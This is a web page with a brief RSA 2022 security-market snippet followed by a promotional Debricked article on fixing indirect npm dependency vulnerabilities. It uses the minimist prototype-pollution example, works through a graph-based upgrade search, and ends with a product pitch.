Moving on to SecOps, RSA Conference 2022 will perhaps be seen as the first big opportunity for extended detection and response (XDR) vendors to make their case. Numerous vendors made significant XDR announcements, including BitDefender (launching GravityZone XDR solution), CrowdStrike (expanding Falcon's XDR module), and RSA Group (debuting NetWitness XDR), among others. XDR has the potential to revolutionize enterprise threat detection and incident response (TDIR), making it faster, easier, and potentially even cheaper to find, analyze, and fix cybersecurity threats.

Proactive approaches such as risk-based vulnerability management and attack surface management (ASM) were also in the spotlight. It has been clear throughout 2022 that ASM products are quickly becoming an important component of broader proactive posture management strategies. The market, particularly for external ASM (EASM) solutions, has been busy with both investment and M&A activity.

RSA 2022: Omdia Research Take Aways

Fixing indirect vulnerabilities is one of those complex, tedious and, quite frankly, boring tasks that no one really wants to touch. No one except for Debricked, it seems. Sure, there are lots of ways to do it manually, but can it be done automatically with minimal risk of breaking changes? The Debricked team decided to find out. 
A forest full of fragile trees
So, where do you even start?

_Fixing indirect vulnerabilities is one of those complex, tedious and, quite frankly, boring tasks that no one really wants to touch. No one except for_ _Debricked__, it seems. Sure, there are lots of ways to do it manually, but can it be done automatically with minimal risk of breaking changes? The Debricked team decided to find out._

**A forest full of fragile trees**

So, where do you even start?

Firstly, there needs to be a way to fix the vulnerability, which, for indirect dependencies, is no walk in the park. Secondly, it needs to be done in a safe way, or, without anything breaking.

You see, indirect dependencies are introduced deep down the dependency tree and it's very tricky to get to the exact version you want. As Debricked's Head of R&D once put it, "_You are turning the knobs by playing around with your direct dependencies and praying to Torvalds that the correct indirect packages are resolved. When Torvalds is in your favour, you have to sacrifice some cloud storage to uncle Bob to make sure the updates don't break your application_."

In other words, there really should be an easier, less stressful, way to do it.

In this article, we'll walk you through how solving transitive vulnerabilities can be done manually and, towards the end, show you the Debricked solution, which allows you to do it automatically. _If you're really just interested in the solution, I suggest you start scrolling_.

**Precision surgery on your dependency tree**

During the research phase of the graph-database project, or, how Debricked today fixes your open source vulnerabilities at the speed of light, the team stumbled upon some articles explaining how to fix indirect vulnerabilities in NPM.

As stated in the article, the \`minimist\` package is affected by vulnerabilities, namely CVE-2021-44906 and CVE-2020-7598.

These are both "Prototype Pollution" vulnerabilities, meaning that arguments are not properly sanitized. Luckily, the maintainers of \`minimist\` fixed these vulnerabilities in version 1.2.6.

Unfortunately, \`mocha\` version 7.1.0 resolves \`minimist\` 0.0.8, which is within the vulnerable range of these vulnerabilities. As suggested by the author of this article, these vulnerabilities can be fixed in a few different ways.

**But! What about breaking changes?**

The first suggestion is to simply trigger an update of all "indirect dependencies", meaning that we won't actually change the version of \`mocha\`. To perform this update, simply run \`npm update\`, delete your \`npm.lock\` file, and run \`npm install\`. This regenerates the dependency tree with the latest possible version (according to constraints) of your indirect dependencies. With this method, the risk of breaking changes is very low as you actually don't update any of your root dependencies, just your indirect ones.

Breaking changes occur when the package functionality or interface is not forward compatible, meaning that an update to the package could cause your application to break. Common breaking changes are class/function-removal, change of arguments to a function, or licence-change (watch out for that one!).

But life is not always this easy, and this simple update of the tree will not solve the vulnerability. The problem is that \`mkdirp\` has actually locked their version of \`minimist\` to 0.0.8. This means that the contributors of \`mkdirp\` have come to the conclusion that they are not compatible with newer versions of \`minimist\`, and forcing the update of \`minimist\` may introduce breaking changes between \`mkdirp\` and \`minimist\`.

**Think… graphs!**

So, the million-dollar question is: what version of \`mocha\` should be used, that in turn trickles down to a safe version of \`minimist\` without breaking the dependency tree? This is actually a graph problem, which has been described in this article.

What graph algorithm would solve this problem? How NPM resolves dependencies can be a bit complicated, as they are allowed to "split" the dependency tree. This means that they can have multiple versions of one dependency to make sure that we always have a tree that is compatible. To solve the vulnerability, we need to make sure that all instances of \`minimist\` are safe by updating all roots that can trickle down to \`minimist\`.

The algorithm used to solve this problem is called "All Max Paths Safe". By walking down the dependency graph and keeping the max versions, all while pruning all other versions of that package in each intersection, we can create an approximate representation of our dependency tree. If the approximation is safe, that means that our real tree will be safe as well!

By performing this algorithm for all potential versions of \`mocha\`, we find the smallest upgrade to fix this vulnerability. To get the speed we wanted for this algorithm, the team had to build a custom Neo4j procedure, which can handle searching over 100 root versions with a search depth of 30+ in ~150 milliseconds. Speedy, huh?

In this case, we don't have to search very far… as 7.1.1 of \`mocha\` is safe! This is only a patch update, which indicates that the risk of breaking changes is very low. For less complex cases (like this example), 'npm audit' can help you with their fantastic 'npm audit fix' command.

**Don't be ad-hoc, enter the pub-sub-human way of working!**

Now, if you got this far (congratulations, very impressive) and thought, "this sounds really complex and like an awful lot of work," don't worry - you're not the only one. Luckily, all this happens completely automatically in the Debricked tool when clicking this little button:

As of right now, this is available for Javascript. Soon, the support will be extended to Java, Golang, C#, Python and PHP.

If you're not yet a Debricked user, what are you waiting for? It's free for single devs, smaller teams and open source projects (and if you're a larger organization, fear not. There's a generous free trial). Sign up for free here.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#perl